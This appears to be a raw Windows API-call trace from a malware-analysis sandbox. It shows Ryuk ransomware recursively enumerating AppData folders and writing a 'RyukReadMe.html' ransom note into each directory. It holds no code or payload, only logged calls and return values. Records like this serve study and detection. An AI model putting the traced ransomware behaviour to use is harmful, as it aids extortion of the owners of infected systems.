	[0256.379] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0256.380] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.380] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0256.380] SetLastError (dwErrCode=0x0) 
	[0256.380] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.380] GetLastError () returned 0xb7
	[0256.380] CloseHandle (hObject=0x5ec) returned 1
	[0256.380] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0256.381] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.381] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0256.381] SetLastError (dwErrCode=0x0) 
	[0256.381] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.381] GetLastError () returned 0xb7
	[0256.381] CloseHandle (hObject=0x6d4) returned 1
	[0256.381] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0256.382] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.382] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0256.382] SetLastError (dwErrCode=0x0) 
	[0256.382] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0256.382] GetLastError () returned 0x0
	[0256.382] WriteFile (in: hFile=0x6d0, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0256.384] CloseHandle (hObject=0x6d0) returned 1
	[0256.384] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0256.385] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.385] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1
	[0256.385] SetLastError (dwErrCode=0x0) 
	[0256.385] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0256.385] GetLastError () returned 0x0
	[0256.385] WriteFile (in: hFile=0x6cc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18be38*=0x273, lpOverlapped=0x0) returned 1
	[0256.387] CloseHandle (hObject=0x6cc) returned 1
	[0256.387] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0256.387] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.388] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0256.388] SetLastError (dwErrCode=0x0) 
	[0256.388] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.388] GetLastError () returned 0x3
	[0256.388] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0) returned 0
	[0256.388] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.388] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b090 | out: lpFindFileData=0x18b090*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.388] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.388] SetLastError (dwErrCode=0x0) 
	[0256.388] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.388] GetLastError () returned 0x3
	[0256.388] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0) returned 0
	[0256.388] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.388] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0
	[0256.388] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0256.389] SetLastError (dwErrCode=0x0) 
	[0256.389] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.389] GetLastError () returned 0x3
	[0256.389] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.389] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0
	[0256.389] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0256.389] SetLastError (dwErrCode=0x0) 
	[0256.389] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0256.389] GetLastError () returned 0xb7
	[0256.389] CloseHandle (hObject=0x6d0) returned 1
	[0256.390] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0
	[0256.390] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0256.390] SetLastError (dwErrCode=0x0) 
	[0256.390] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.390] GetLastError () returned 0xb7
	[0256.390] CloseHandle (hObject=0x6d4) returned 1
	[0256.390] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0256.390] SetLastError (dwErrCode=0x0) 
	[0256.390] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.390] GetLastError () returned 0xb7
	[0256.391] CloseHandle (hObject=0x6d4) returned 1
	[0256.391] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0256.391] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.391] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0256.391] SetLastError (dwErrCode=0x0) 
	[0256.391] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f4
	[0256.607] GetLastError () returned 0x0
	[0256.607] WriteFile (in: hFile=0x6f4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0256.609] CloseHandle (hObject=0x6f4) returned 1
	[0256.609] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0256.613] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
